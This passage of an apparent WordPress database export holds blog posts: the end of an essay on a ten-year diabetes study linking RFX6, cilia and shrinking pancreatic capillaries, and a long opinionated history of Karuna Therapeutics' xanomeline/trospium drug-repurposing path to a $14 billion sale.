lack of nutrients had physically altered the cellular network within the pancreas.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>But why?&nbsp;</em>A capillary shrinks over time – it’s a temporal process – but science is often limited to static snapshots. Mice are raised in cages and then sacrificed so that their organs can be studied under a microscope. But this approach merely studies the cells as they exist at one moment in time.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To understand&nbsp;<em>why&nbsp;</em>capillaries shrink in the pancreas, the scientists had to figure out what might have happened&nbsp;<em>before&nbsp;</em>they shrank. So the researchers opted to study the transcriptome, or the record of genes expressed in the diabetic and non-diabetic pancreas. Ideally, the scientists hoped to find some obvious connection, or at least correlation, between genes and outcomes. But they didn’t. The only difference was that early-stage diabetics had slight changes in genes associated with cilia, a hair-like structure that cells use to move water around. Early-stage diabetics also had more cilia in their pancreas.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>But why?&nbsp;</em>Again using transcriptomics, the scientists began to look for a “hub gene” that could connect&nbsp;<em>cilia</em>&nbsp;to&nbsp;<em>shrunken capillaries</em>. And they found it in RFX6, a gene that had already been linked to diabetes in other studies. RFX6 is reduced in people with type 2 diabetes and has also been linked to insulin secretion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One can often “see what a gene does” by knocking it out, or at least diminishing its presence, from a cell. The scientists used a short strand of RNA to “knock down” expression of RFX6 in insulin-producing cells grown in a culture dish. Knocking down the gene did not harm the beta cells, but it did block them from secreting insulin.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Connecting RFX6 to the cilia and capillaries, though, was more challenging. The scientists knocked-down RFX6 in cells yet again, and compared them to cells with normal levels of RFX6. But this time, they did an experiment called single-nucleus multiome profiling. This enabled them to look at every gene that is altered between the two bunches of cells. Cells with knocked-down RFX6 levels had many genes associated with actin filament-based movement and synaptic signaling go&nbsp;<em>up</em>&nbsp;and genes linked to membrane trafficking, cell recycling, and ciliary pathways go<em>&nbsp;down</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In sum: RFX6 is a gene that helps cells dispose of waste. As capillaries shrink, they are less able to remove waste. Cilia levels then increase in an attempt to compensate. People with type 2 diabetes likely secrete less insulin because cells in the pancreas progressively lose their ability to remove waste products, which further damages capillaries and causes them to shrink.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">III. Scientific Method</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This paper is an important investigation into diabetes. But I would argue that it’s even more important for its methodology.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So many studies, over the long arc of biological research, have stopped at the first “why?” This study, on the other hand, took a full ten years of work and many failed experiments to complete. It’s painful-going to pursue the&nbsp;<em>Five Whys&nbsp;</em>in science, but if we truly want to understand the cause of complex, chronic diseases, such as Alzheimer’s or Parkinson’s, then we almost certainly need to follow such a process.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Medicine is stuck right now because research into all sorts of chronic diseases has been myopic. It is often easiest to target the obvious, proximate cause of a disease, and then focus mechanical experiments on that. Academics striving to keep a regular publishing schedule often trigger, say, Parkinson’s-like symptoms in mice directly through chemical injections, spend a few months treating the mice, and then wrap up the data analysis within 6 months so that a paper can be published by year’s end.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We can do better. Of course, the job of a researcher is often more difficult than that of a mechanic. There are no service manuals for scientific discovery, and scientists are often beholden to unsympathetic funders. Still, we must try to find root causes in biology and medicine, rather than continue to observe epicycles, where sometimes obesity causes diabetes but sometimes doesn’t, and the only way to predict which one it will be is whether Mercury is in retrograde. Messy correlations are a sign of an immature science, and that’s as true today as it was in the early days of modern medicine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It took more than two-thousand years, from&nbsp;<a href=\"https://pubmed.ncbi.nlm.nih.gov/19787658/\">Thucydides’ observations of contagion</a>&nbsp;to&nbsp;<a href=\"https://science.umd.edu/classroom/bsci424/BSCI223WebSiteFiles/KochsPostulates.htm\">Koch’s postulates</a>&nbsp;of microbial infection, for a thorough, root cause analysis of why close contact with an infected person can cause a healthy person to become sick. But hopefully now, with more papers like this one, we won’t have to wait quite so long.</p>\n<!-- /wp:paragraph -->','5 Whys of Diabetes','','inherit','closed','closed','','431-revision-v1','','','2024-06-12 16:15:21','2024-06-12 16:15:21','',431,'https://trevorklee.com/?p=432',0,'revision','',0),
(433,1,'2024-06-12 16:17:31','2024-06-12 16:17:31','<!-- wp:paragraph -->\n<p><em>Shoutout to Sacha Schermerhorn for telling me about Karuna in the first place.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>About a month ago, Karuna Therapeutics, a drug repurposing effort, sold for $14 billion as pretty much a solo asset company. Depending on how you define drug repurposing, this is the biggest drug repurposing success of all time<a href=\"https://trevorklee.substack.com/p/karuna-therapeutics-a-drug-repurposing#footnote-1-141398123\">1</a>. For me and my fellow drug repurposing entrepreneurs, this is incredibly heartening, doubly so for me as Karuna’s therapy is a combination repurpose of two old drugs, one meant to prevent the adverse effects of the other, which is the exact same path I’ve been following with both of my company’s drugs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve been disappointed but not surprised to hear crickets about this from the normally opinionated biotech venture capitalists (VCs). Even the voluble Robert Nelsen, whose Arch Venture firm owned almost 20% of Karuna when it IPO’d, made just a single post (and also retweeted the announcement post and a congratulations post) celebrating the acquisition, and then went back to tweeting about how TikTok is making Zoomers fans of Osama bin Laden.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F104348d5-b806-4ff4-b2f4-a5e37d2ef898_1082x1610.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F104348d5-b806-4ff4-b2f4-a5e37d2ef898_1082x1610.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">If I was a billionaire venture capitalist, I would not spend my time tweeting about such things, but perhaps that is why I am not a billionaire venture capitalist.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>So, I thought I’d be the one to tell the story. I’ve tried to piece this together from interviews, Karuna’s SEC filings, and journal articles. I wish I had access to their FDA filings, but those won’t be available until the company’s drug is approved (or not) in late 2024.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks for reading my newsletter! Subscribe for free to receive new posts, mostly about biology or biotech.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subscribed</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>0. The idea behind a $14 billion company</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Karuna’s story starts with a guy named Andrew Miller. He got his PhD in 2008 from MIT (go Beavers!) and immediately went to work for a company called PureTech. PureTech is a company which funds and spins out sciency companies. To be honest, a lot about PureTech is weird: the founder, Daphne Zohar, is a self-described serial entrepreneur whose previous ventures were an olive oil brand and hoof pads for race horses; their other funded ventures include CBD for epilepsy, a videogame for ADHD, and a weight loss supplement that’s just a chunk of cellulose (as well as some more traditional biotech ventures); and their stock is listed on the London Stock Exchange even though they’re entirely America-based.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, I guess they had what Dr. Miller needed, mainly capital and a willingness to spend it on weird things. Almost immediately after he joined,&nbsp;<a href=\"https://ajp.psychiatryonline.org/doi/full/10.1176/appi.ajp.2008.06091591\">a paper was published by Eli Lilly scientists</a>&nbsp;about a small pilot trial of xanomeline in schizophrenia. Xanomeline is a muscarinic agonist that Eli Lilly and Novo Nordisk had developed for Alzheimer’s back in the 90s, which seemed to be effective at treating the behavioral symptoms of Alzheimer’s (i.e. dementia and psychosis). Eli Lilly had stopped development of this drug because, basically, xanomeline was too effective of a muscarinic agonist. While it successfully agonized (activated) muscarinic receptors in the brain, preventing psychosis, it also successfully agonized the muscarinic receptors in the rest of the body, causing nausea and vomiting.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Reading this paper 16 years later, I can clearly see the same thing that Dr. Miller saw, which is obviously also what these Eli Lilly scientists were trying to convey. Xanomeline is a relatively safe drug with a novel mechanism of action that works way better with way fewer side effects than existing drugs for psychosis. It deserved better than its shelving by Eli Lilly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If I had to guess, I’d bet these Eli Lilly scientists expected this to spur innovation in developing new muscarinic agonists. They spend a lot of the paper talking about what they think the mechanism for muscarinic agonism in psychosis is, which is modulating the dopamine response<a href=\"https://trevorklee.substack.com/p/karuna-therapeutics-a-drug-repurposing#footnote-2-141398123\">2</a>, as proven by its effect on blocking the effect of dopamine agonists.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, Dr. Miller took their results in a different direction. He looked instead for a muscarinic antagonist that could block xanomeline’s effect on the body, so xanomeline would only agonize muscarinic receptors in the brain. He eventually settled on trospium, an antimuscarinic medication used for overactive bladder that’s been around since the 70s and does not cross the blood brain barrier<a href=\"https://trevorklee.substack.com/p/karuna-therapeutics-a-drug-repurposing#footnote-3-141398123\">3</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From there, Dr. Miller and PureTech licensed xanomeline from Eli Lilly for $100k and promises of milestones. In retrospect, this was unnecessary, because xanomeline was already old then and became generic by 2016, but perhaps they were feeling overambitious in terms of timelines. And then…that was it! That was the drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, that wasn’t entirely it. They still had 16 years and $200+ mm of clinical trials to get through before the drug could be approved and the company be acquired.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that, of course, is the downside of drug repurposing. The fun part, the sciency part, is over pretty quickly and then what’s left is the regulatory slog. You don’t need a PhD to understand the science, either, just basic logic. To recap: muscarinic agonists can treat schizophrenia, probably by modulating dopamine receptors. Xanomeline is an effective muscarinic agonist for both the brain (good for schizophrenia) and the body (bad for nausea). Trospium is a muscarinic antagonist for just the body because it can’t reach the brain. Combine the two, and you get muscarinic agonism in only the brain, and schizophrenics are better off.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There was a tremendous amount of work (and money) that went into producing the knowledge in the previous paragraph. Eli Lilly and Novo Nordisk spent likely hundreds of millions developing xanomeline, testing it for safety and efficacy, and understanding its relationship to muscarinic receptors. All of that original work they definitely needed PhDs for. The original developers of trospium spent a lot of money and time, too. But Dr. Miller and PureTech didn’t have to do any of that work. They just received it, in the same way you and I did, and probably understood it in the space of a week in the same depth as they did 16 years later. This is not particularly fun from a scientist’s perspective, so most people don’t want to hear about these 16 years of no new knowledge.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But this is a pity, because these 16 years of regulatory slog were important. They were the difference between a worthless drug that Eli Lilly was willing to let go for $100k in licensing fees and a drug that Bristol Myers Squibb was willing to buy for $14 billion, not to mention possibly the first treatment for schizophrenia that’s not terrible. So, in order to figure out what actually happened, we’re going to need to embrace the slog.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>1. The patent (a.k.a. the first slogging step)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After licensing xanomeline (which, as mentioned, was, in retrospect, unnecessary), the first regulatory step was the patent. VCs occasionally freak out about this step, because they worry that it’d be impossible to develop a strong patent for a repurposed drug or that someone else will challenge and invalidate it. In truth, this never happens. If you want a patent on something, you can get it even if it’s stupid, and it’s actually quite hard to invalidate it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>PureTech’s original patent is a great case in point. They got a patent on combining xanomeline and trospium even though it’s an obvious thing to do.&nbsp;<a href=\"https://patents.google.com/patent/EP3646870A1/en?q=(xanomeline)&amp;inventor=andrew+miller&amp;oq=xanomeline+andrew+miller&amp;sort=old\">Their patent</a>’s “concrete evidence” for why this was novel and non-obvious is that they listed the 65 muscarinic agonists and 114 muscarinic inhibitors that they found in the literature in a table. From this, they came up with 7410 possible combinations (65*114), which they allegedly ranked based on efficacy and side effects. After all of this, they found that the best combination was…the same drug they had read about in Eli Lilly’s paper, and then a really safe drug from the 70s. Surprise! This was their “invention”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Since then, they’ve added some additional patents based off of their in-vivo data. But, still, the basic idea remains the same and the original patent has not been invalidated even though it’s obvious. So, an Excel table can be the intellectual property basis of a $14 billion drug. VCs can stop freaking out.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The next steps were more difficult.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>2. Testing the combination in healthy volunteers</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In normal human drug development (i.e. discovering new chemical entities or biologics), the steps to getting to approval are something like the following, with each step carrying the implicit possibility of failing and having to go back to the previous step or even all the way back to the beginning:<br><br>a) Get idea for target receptor and possible means of hitting target</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b) Manufacture first, small, artisanal batch of drug. Test it in petri dishes (<em>in vitro</em>) and possibly in some kind of lab animal (<em>in vivo</em>)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c) Develop and manufacture the form of the drug that you will want to use in humans. Prove that this formulation is shelf-stable</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>d) Test the drug in two species of animals and perform clinical pathology (a.k.a. clinpath, a.k.a. dissecting the animals and checking their organs for damage) in order to see if the drug is safe</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>e) Test the drug in at least one Phase 1 trial in healthy volunteers for safety and to see how the drug behaves in the human body</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>f) Test the drug in at least one Phase 2 trial in sick volunteers for safety and to see how the drug impacts the disease</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>g) Test the drug in at least one Phase 3 trial in sick volunteers to prove the drug has the effect on the disease you say it will&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>h) Monitor the drug in at least one Phase 4 trial in patients who are paying to take your drug to prove the drug is actually working and to see if you can expand the patient population</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In drug repurposing, you’re working with drugs that have already been proven safe in animals and humans and that have been proven to be shelf-stable. Often, you’re working with drugs that already have evidence in the disease that you’re trying to treat like in Karuna (and my company’s) case.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, all steps pre-healthy human volunteers are done already (steps a-d), you can be pretty confident about safety in humans, and you can be somewhat confident about efficacy in humans. That’s a huge leg up in both speed of development and in cost of development.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So Karuna, once they got their ducks in a row, were able to jump ahead to step e, and test directly in healthy volunteers. Unfortunately for Dr. Miller, getting ducks in a row apparently took a while. As far as I can tell, his timeline to get to step f, the phase 2 trial, ended up being something like this:<br><br>i. Join PureTech in summer 2008.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ii. Convince PureTech to patent xanomeline/trospium in 2010.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>iii. License xanomeline in May 2012.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>iv. Spend 3ish years slowly getting $13 mm more funds from PureTech under some very complicated royalty/intellectual property sharing agreement (I guess because Dr. Miller wanted to be separate from PureTech)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>v. Run a successful phase 1 trial that showed xanomeline/trospium had a lower rate of adverse effects than xanomeline alone</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>vi. Somehow, raise $3.5 mm more from a British nonprofit, the Wellcome Trust, even though, on their website, it doesn’t look like they invest in for-profit entities</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>vii. Hire a separate team for Karuna outside of PureTech</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>viii. Run an additional phase 1 trial in healthy volunteers to find the optimal dose in healthy volunteers</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ix. Raise a huge new round from Arch Ventures, Sofinnova, and the Wellcome Trust to get $85 mm in the bank by December 2017</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>x. Finally start a Phase II trial in people with schizophrenia September 2018</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The crazy thing is that, if you look at their financial disclosures in their S1, the entirety of the funding needed to get Karuna to step x here was under $5 mm, including salaries. And, given that these were healthy volunteer trials and Karuna was using generic APIs (i.e. drugs that were already known to be shelf stable and easily coformulated), the entirety of the scientific work (steps v and viii) involved here probably was about 8 months or so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In other words, if someone had just given Dr. Miller $5 mm in summer 2008, he probably could have been at step ix by summer 2010, accounting for lead times. But, unfortunately, nobody did, so it took him 10 years. Fundraising ended up, once again, being by far the biggest bottleneck in scientific progress. This is definitely not something I have any experience with, though. Nope, not at all. Not at all…</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anyways, onto the next step.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>3. Testing the combination in sick volunteers</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From my point of view and from the point of view of most repurposing folk, Karuna was basically done by the time they ran their first trial in healthy volunteers and showed a lower rate of adverse effects with the combination than with xanomeline alone. It was obvious from the existing trials that the combination would work at least as well as xanomeline in schizophrenia and be safer than xanomeline alone. Given that xanomeline alone is already pretty safe and, from Eli Lilly’s small trial in schizophrenia, looked effective in schizophrenia, xanomeline/trospium was a shoo-in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The FDA, unfortunately, does not see it that way, and neither do traditional drug development companies. They see trials in healthy volunteers (a.k.a. Phase 1 trials) in drug repurposing as equivalent to Phase 1 trials in new chemical entities. That is, they are good first steps, but by no means the end of the road.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, that’s why Karuna had to raise a huge amount of money. Not coincidentally, by this point, Dr. Miller was also already demoted to the Chief Operating Officer at Karuna and was left with only 1.3% of the company at time of IPO. His new CEO, a big-named guy named Steven Paul who had not only helped develop xanomeline at Eli Lilly but also had been the scientific cofounder of a couple high-profile biotech startups<a href=\"https://trevorklee.substack.com/p/karuna-therapeutics-a-drug-repurposing#footnote-4-141398123\">4</a>, had joined the company in August 2018, right before the IPO, and somehow owned 8% of it, possibly by investing some of his own money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Raising huge amounts of money in the biotech world is costly. People do it because they have to, but, to be frank, Dr. Miller was lucky to get away with still having a high level position and &gt;1% of the company after raising such a big sum. Biotech works by the golden rule: he who has the gold makes the rule. Ideas and sweat equity are worth very little.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, that’s the way the game is played. Anyhow, Karuna raised the money and started on their first big trial: a double-blind, placebo-controlled trial of 182 patients over 5 weeks in a multi-center trial. It took them about a year to announce results, and they found, unsurprisingly to me, that xanomeline/trospium (which at this point they had named KarXT) was safe and effective at treating schizophrenia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It might seem weird to you that it would take over a year to get 182 schizophrenic people to complete a 5 week trial, given that there are roughly 24 million schizophrenic people in the US. It might seem even weirder that that trial took $20 mm, given that the cost of materials was just a few hundred thousand, and that money would account for 100 doctors being paid $200k each.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well…it is kind of weird. Everyone knows it’s weird, and there are a bunch of startups with a business model of “we can cut this cost in half and still make a ton of money”, although it remains to be seen if any of those startups will be successful. To be fair to Karuna, they did have a difficult task: it’s hard to think&nbsp; of a more difficult patient population to treat than schizophrenics, especially because they required these schizophrenics to “wash out” of their current antipsychotics (i.e. quit them) for 5 weeks before starting the trial. Getting an unmedicated schizophrenic to show up for a trial on time, especially if they’re in the placebo group, has got to be a nightmare for everyone. But still, it is always somewhat of a mystery why clinical trials cost so much.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Regardless, Karuna completed the trial successfully and for a reasonable amount of money, by biotech standards. Along the way, they started doing big company things, probably because they suddenly found themselves with almost $400 mm from their IPO. So, their administrative costs (outside of their trial) skyrocketed from $3mm to $21 mm, they leased 10,000 square feet in Boston and an additional 5000 square feet in Indiana for office space, and they launched pilot trials in pain and dementia-related psychosis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I have mixed feelings on this sudden cost surge. My viewpoint is naturally to be scrappy and cost-efficient, and I am really not sure what the point of all this office space and new staff is when you really only have one drug that’s being built by contractors anyways. On the other hand, the dementia-related psychosis indication was specifically cited by Bristol Myers Squibb as a reason they bumped up their acquisition price to $14 billion, in addition to the schizophrenia stuff. On the other, other hand, they didn’t need dozens of extra PhDs to run that trial, because that was literally the same indication that xanomeline was initially developed for, so a lot of the evidence was there already.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, whatever. Nobody asked me. Karuna spent a ton of money, got their phase 2 trial done successfully, and could now get to phase 3 trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>4. Testing the combination to see if it works</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s where things get a little strange for me, and I think there was some kind of big company politics involved. So, the FDA tells Karuna that they need to run their big phase 3 trial to prove definitively that xanomeline/trospium can treat schizophrenia. They also want to run additional, short trials for xanomeline/trospium in schizophrenia-related psychosis, and figure out their dosing for elderly people for dementia-related psychosis. They’re also pursuing a new pain indication for some reason, which seems pretty baffling from a scientific perspective but is not much money in the grand scheme of things.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ok, cool. They do that. They spend 2021 getting their phase 3 underway, doing their short, 5 week trials in schizophrenia-related psychosis, and doing some additional trials in dementia-related psychosis. They spend like $30 mm on all this, and an additional $15 mm on other research and development…stuff. It’s hard to say exactly, but, then again, it’s not really making a dent in their warchest. Neither is the sudden $9 mm jump in salary cost, but it is worrying.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And then 2022 rolls around, and Karuna announces that they’ve now started 3 new Phase 3 trials around the world, all in schizophrenia: one 5 week one in the US, one 5 week one in Ukraine and the US, one year long one in Puerto Rico and the US, and another year long one in the US alone. And their explanation is hard to parse. They say they want more data on how it can be used in schizophrenia, including whether it can be used as an adjunct to other drugs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now their trial costs have ballooned to over $100 mm per year, their salary costs have just about doubled to $50 mm a year, and their cash position is a lot more precarious. It’s baffling. Like…why? They were close to getting approved in schizophrenia, there weren\'t any other schizophrenia treatments on the horizon that they needed to compete against, and any questions about xanomeline/trospium could have been answered for much cheaper after it was approved. And then, simultaneously, they licensed their drug for sale in China for $35 million up front, which was a relative pittance and took away a potential major revenue source.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of this put them in such a rough cash position that they then needed to sell more stock and raise more cash, which further diluted everyone. This all seems like such a bad idea that I can only think that someone behind the scenes had a crisis of faith and decided that they needed to stack the deck in Karuna’s favor in every way by running a bunch of phase 3 trials and by getting a small revenue stream. I guess this just goes to show that, once you’re a public company, it’s even more difficult to control activist shareholders than when you’re private, but, shoot, I bet Dr. Miller was pretty angry by the end of all this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>5. Selling the company</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>By 2023, Karuna had gone full big company by not only starting 3 new phase 3 trials in dementia-related psychosis, but also licensing some random drug for anxiety from a different biotech startup, with everything combined pushing them over $200 mm in R&amp;D costs, a doubled 240 person workforce, and a new CEO from Allergan.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And then…it was over. Well, for our purposes at least. Karuna announced in October 2023 that their Phase 3 trial in schizophrenia was successful (which, for the record, was the same Phase 3 trial they had planned all along before the madness), the big drug companies smelled the opportunity; there was a brief bidding war; and after about two months negotiation Karuna got sold for $14 billion. And that was that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Kind of a let down, after everything. There wasn’t some cool near death experience or grand scientific discovery. There was just a clearly useful drug and a clever drug combination that seemed back in 2008 like it would probably work, and 16 years and a bunch of money and effort later, it did work and a bunch of people made a bunch of money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>6. What have we learned?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I hope the biggest thing that we’ve learned is that drug repurposing can be a really, really lucrative business and does not require a lot of brilliance or luck. Dr. Miller took two generic drugs, one of which had already been developed for schizophrenia, protected them with a weak patent, and eventually sold that combination for $14 billion for schizophrenia.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If the company’s leadership had been more cost conscious, they probably could have done all of that for like $50 mm total, but, as it was, it came out to more like $400 mm. Still, an amazing return.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maybe this doesn’t seem like a particularly surprising lesson to you. But, I can tell you, it is for biotech VCs. Biotech VCs are, for the most part, a superstitious bunch, and drug repurposing doesn’t fit in a VC’s idea of what successful drug development is supposed to be. Drug development, for a VC, is supposed to start with a discovery at a university, preferably by a famous professor at a name-brand university. This professor discovers some new way of manipulating the body that has a million different applications. The professor works together with a graduate student to illuminate at least one or two of those.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At that point, paper in hand, the graduate student and the professor go to VCs, discovery in hand. “Look,” they say to the VCs, “we were able to have these cool results with just our laboratory’s resources. Imagine what we could do with millions of dollars and 80 PhDs!”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The VCs agree. They give the graduate student millions of dollars, but also a bunch of “adult supervision” in the form of executives that the VCs know and trust. The VCs also probably take majority control of the company. They work to develop a bunch of possible drug ideas based on the professor’s discovery. Then the company raises a boatload more million dollars from a few additional VCs and makes a press announcement that they now have $100 million dollars, backing from famous VCs, and 12 different drug ideas, at least one of which is ready to move into humans sometime soon.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At this point, the hype cycle is in full swing. Pretty soon, the company will IPO based on these incredible promises, the VCs will make back their money from retail investors, and then, well, it’s not the VCs’ problem whether the company succeeds or not. Most likely the company’s valuation will drift slowly downwards as the promises fade out and it becomes increasingly clear that the drugs will never actually become approved in humans, but maybe the drugs will succeed and the company will do well. It doesn’t matter either way.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this story, the sizzle is always worth more than the steak. The VCs make their money regardless of whether the drugs work or the professor’s incredible discovery was never so incredible after all, because they only needed the drug ideas to be exciting enough to sell the stock to retail investors. So, if you or I see a stock like bluebird bio or Ginkgo’s, we think, “Man, what a waste,” but VCs see the IPO price and think, “Damn, I wish we had some failures like that in our portfolio.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2d53045-7245-47f9-8cb6-bae01f267bce_1448x1054.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2d53045-7245-47f9-8cb6-bae01f267bce_1448x1054.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This is a big part of why VCs have been so quiet about the incredible success of Karuna. Karuna was public when it was acquired and, instead of drifting downwards, went upwards. Arch Ventures, who would’ve made about $3 billion if they had kept their stock until the company was acquired, instead had less than 1% of the company at the time of sale (and possibly none, it’s hard to tell) and probably made about $200 million off their investment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb52faeae-d87e-41ab-8c86-55f7c8868857_1524x1056.png\" 